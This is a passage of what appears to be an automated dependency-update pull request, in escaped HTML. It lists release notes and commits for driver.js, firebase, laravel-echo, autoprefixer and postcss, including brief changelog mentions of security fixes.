href=\"https://redirect.github.com/nilbuild/driver.js/issues/395\"\u003e#395\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eindex\u003c/code\u003e on the options passed to every hook (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/490\"\u003e#490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e--driver-popover-font-family\u003c/code\u003e CSS variable to set the popover font (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThe popover title and description now render in the default font stack. Set \u003ccode\u003e--driver-popover-font-family\u003c/code\u003e to use your own.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIcon fonts placed inside a step description are no longer overridden (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/510\"\u003e#510\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEach \u003ccode\u003edriver()\u003c/code\u003e call keeps its own config, steps and state, (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/571\"\u003e#571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePopover no longer jumps when its content has images that load after render.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/b7d671c81e26dd7841b7a8c6ec34c208e27b4d37\"\u003e\u003ccode\u003eb7d671c\u003c/code\u003e\u003c/a\u003e 1.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/82d51716d28848bd8e9e56075a1791a287b00677\"\u003e\u003ccode\u003e82d5171\u003c/code\u003e\u003c/a\u003e Add config to skip missing elements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/1eb6c7853f17d08ebc259f34dd96bce5ffcea1c7\"\u003e\u003ccode\u003e1eb6c78\u003c/code\u003e\u003c/a\u003e Fix popover icon fonts and expose font-family variable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/a4f86e430495971d423866b8f9dac9cfee79214f\"\u003e\u003ccode\u003ea4f86e4\u003c/code\u003e\u003c/a\u003e Expose active step index on hook options\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/1910fb2c30c26350c1647199ff306f5d0e7d854a\"\u003e\u003ccode\u003e1910fb2\u003c/code\u003e\u003c/a\u003e Minify the ESM bundle with Terser in postbuild\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/cbf719f87efc608a562aedd2404b179d8419ba0e\"\u003e\u003ccode\u003ecbf719f\u003c/code\u003e\u003c/a\u003e Fix postbuild esbuild resolution by using Vite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/c30fc8ec079aff2263644354711fd928315ec722\"\u003e\u003ccode\u003ec30fc8e\u003c/code\u003e\u003c/a\u003e Document the multi-instance support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/bf4ae7e492906a0c90a1fe3e40cd539b34ee8b94\"\u003e\u003ccode\u003ebf4ae7e\u003c/code\u003e\u003c/a\u003e Tighten comments across the per-instance changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/a4d6dd00d8ad37598d3c30882a5ae96b92c85143\"\u003e\u003ccode\u003ea4d6dd0\u003c/code\u003e\u003c/a\u003e Add changelog entry for per-instance isolation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/803c33e22b678c0dbf4ec29d1a649d72a9d275f1\"\u003e\u003ccode\u003e803c33e\u003c/code\u003e\u003c/a\u003e Add multiple-instances example to the playground\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nilbuild/driver.js/compare/1.6.0...1.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `firebase` from 12.15.0 to 12.16.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/f0c943548300afd1ce9ed3917c201e669b408ec2\"\u003e\u003ccode\u003ef0c9435\u003c/code\u003e\u003c/a\u003e Merge release into main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/fe04cec42608d54e63950b2b218d15da4c0a40f4\"\u003e\u003ccode\u003efe04cec\u003c/code\u003e\u003c/a\u003e build: put include-dependencies flag back (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10137\"\u003e#10137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/2894e91619a51f23f01a77e43255d1329bbcc55c\"\u003e\u003ccode\u003e2894e91\u003c/code\u003e\u003c/a\u003e Update re2js version (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10104\"\u003e#10104\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/df21ad3f8b8bddd645c7a959227a9407cff90f9e\"\u003e\u003ccode\u003edf21ad3\u003c/code\u003e\u003c/a\u003e fix: Resolve duplicate assertion ID and add check to Firestore CI (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10138\"\u003e#10138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/1d24e5f72df2ec6cf54faaca32eec8155eea46e1\"\u003e\u003ccode\u003e1d24e5f\u003c/code\u003e\u003c/a\u003e chore(data-connect): refactor streaming tests and change idle timeout back to...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/65baa7b4fe9c26c05f8c54d1ac3ccee21c200e37\"\u003e\u003ccode\u003e65baa7b\u003c/code\u003e\u003c/a\u003e fix(ai): update deprecated gemini models strings\u0026quot; (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10043\"\u003e#10043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/6c710ba81aca4e5a319b42504a71fac1d490dcea\"\u003e\u003ccode\u003e6c710ba\u003c/code\u003e\u003c/a\u003e build(deps): update deps with security issues (pass 1) (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10119\"\u003e#10119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/573fd16b90e1d79b159c81c696d8e84e5d08748f\"\u003e\u003ccode\u003e573fd16\u003c/code\u003e\u003c/a\u003e build(deps): Upgrade Lerna to 9.0.6 (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10032\"\u003e#10032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/6d874fc3af568e48a9323c1f17a742cb42c79d5d\"\u003e\u003ccode\u003e6d874fc\u003c/code\u003e\u003c/a\u003e fix zizmor findings (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10044\"\u003e#10044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/7ca70ab8008fe95ec721aca8370401e1a7e75c21\"\u003e\u003ccode\u003e7ca70ab\u003c/code\u003e\u003c/a\u003e Security Audit \u0026amp; Remediation: repo-scripts/api-documenter (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10112\"\u003e#10112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/firebase/firebase-js-sdk/compare/firebase@12.15.0...firebase@12.16.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `laravel-echo` from 2.3.7 to 2.4.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/laravel/echo/releases\"\u003elaravel-echo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Dependabot auto-merge by \u003ca href=\"https://github.com/nunomaduro\"\u003e\u003ccode\u003e@​nunomaduro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/518\"\u003elaravel/echo#518\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/519\"\u003elaravel/echo#519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump github/codeql-action from 4.36.1 to 4.36.2 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/524\"\u003elaravel/echo#524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump esbuild from 0.25.11 to 0.28.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/523\"\u003elaravel/echo#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/525\"\u003elaravel/echo#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump vite from 6.4.2 to 6.4.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/526\"\u003elaravel/echo#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace socket.io-client imports with a local type shim in echo.d.ts by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate NPM dependencies by \u003ca href=\"https://github.com/crynobone\"\u003e\u003ccode\u003e@​crynobone\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/527\"\u003elaravel/echo#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix presence and whisper examples in echo-react Boost skill by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/530\"\u003elaravel/echo#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump stefanzweifel/git-auto-commit-action from 7.1.0 to 7.2.0 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/531\"\u003elaravel/echo#531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003euseChannel\u003c/code\u003e hooks by \u003ca href=\"https://github.com/joetannenbaum\"\u003e\u003ccode\u003e@​joetannenbaum\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/532\"\u003elaravel/echo#532\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ehttps://github.com/laravel/echo/compare/v2.3.7...v2.4.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/laravel/echo/blob/2.x/CHANGELOG.md\"\u003elaravel-echo's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ev2.4.0\u003c/a\u003e - 2026-07-11\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Dependabot auto-merge by \u003ca href=\"https://github.com/nunomaduro\"\u003e\u003ccode\u003e@​nunomaduro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/518\"\u003elaravel/echo#518\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/519\"\u003elaravel/echo#519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump github/codeql-action from 4.36.1 to 4.36.2 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/524\"\u003elaravel/echo#524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump esbuild from 0.25.11 to 0.28.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/523\"\u003elaravel/echo#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/525\"\u003elaravel/echo#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump vite from 6.4.2 to 6.4.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/526\"\u003elaravel/echo#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace socket.io-client imports with a local type shim in echo.d.ts by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate NPM dependencies by \u003ca href=\"https://github.com/crynobone\"\u003e\u003ccode\u003e@​crynobone\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/527\"\u003elaravel/echo#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix presence and whisper examples in echo-react Boost skill by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/530\"\u003elaravel/echo#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump stefanzweifel/git-auto-commit-action from 7.1.0 to 7.2.0 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/531\"\u003elaravel/echo#531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003euseChannel\u003c/code\u003e hooks by \u003ca href=\"https://github.com/joetannenbaum\"\u003e\u003ccode\u003e@​joetannenbaum\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/532\"\u003elaravel/echo#532\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ehttps://github.com/laravel/echo/compare/v2.3.7...v2.4.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/db9adc18b5d862aed7f2ad0688a99a6c8004b969\"\u003e\u003ccode\u003edb9adc1\u003c/code\u003e\u003c/a\u003e Bump version for packages/vue\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/9dfbfdfa0de5ed41f7e62cccbe5a24c30cf55686\"\u003e\u003ccode\u003e9dfbfdf\u003c/code\u003e\u003c/a\u003e Bump version for packages/svelte\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/d21d09ef7d27ee72753b7e0429a3c2b7e80cbad8\"\u003e\u003ccode\u003ed21d09e\u003c/code\u003e\u003c/a\u003e Bump version for packages/react\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/a02ff023069e80c00b4a3473a56b176045f5deaa\"\u003e\u003ccode\u003ea02ff02\u003c/code\u003e\u003c/a\u003e Bump version for packages/laravel-echo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/3ceb912ab09037a5b1648b7f61f2164db15abd00\"\u003e\u003ccode\u003e3ceb912\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003euseChannel\u003c/code\u003e hooks (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/532\"\u003e#532\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/87ebca6a256f7efed934c2cefd8228542d64ccff\"\u003e\u003ccode\u003e87ebca6\u003c/code\u003e\u003c/a\u003e Bump stefanzweifel/git-auto-commit-action in the github-actions group (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/531\"\u003e#531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/4efe655f3091a95c8271aea52acae2f75f31a113\"\u003e\u003ccode\u003e4efe655\u003c/code\u003e\u003c/a\u003e Fix presence and whisper examples in echo-react Boost skill (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/530\"\u003e#530\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/75898d330d1e37cfff59f8b26f89f1321fe482fe\"\u003e\u003ccode\u003e75898d3\u003c/code\u003e\u003c/a\u003e Update NPM dependencies (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/527\"\u003e#527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/7abe2fee239e47f204c9f2970ea58eef3edc2321\"\u003e\u003ccode\u003e7abe2fe\u003c/code\u003e\u003c/a\u003e Replace socket.io-client imports with a local type shim in echo.d.ts (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/1d2184e3d0579d29b12dae49790a95a19ca70854\"\u003e\u003ccode\u003e1d2184e\u003c/code\u003e\u003c/a\u003e Bump vite from 6.4.2 to 6.4.3 (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/526\"\u003e#526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.0 to 10.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c2f872527fee63a3b1ed70034912925495ac9bac\"\u003e\u003ccode\u003ec2f8725\u003c/code\u003e\u003c/a\u003e Clean up CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/2db2ccf6abfaa9af60873a2fb5fa8790645ee7b9\"\u003e\u003ccode\u003e2db2ccf\u003c/code\u003e\u003c/a\u003e Move to public Dev Container\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e99e38122ce706747c903ef321a3c1df2d7ada3e\"\u003e\u003ccode\u003ee99e381\u003c/code\u003e\u003c/a\u003e Release 10.5.2 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/98de3f5238ba92ce3bbf1a36b52cafcb44cddcfb\"\u003e\u003ccode\u003e98de3f5\u003c/code\u003e\u003c/a\u003e Move -webkit-fill-available before -moz-available to get a closer to spec res...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/8fe2513502248c84ea5a6c35a3f843cb9dd7e682\"\u003e\u003ccode\u003e8fe2513\u003c/code\u003e\u003c/a\u003e Release 10.5.1 version\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.0...10.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for autoprefixer since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca 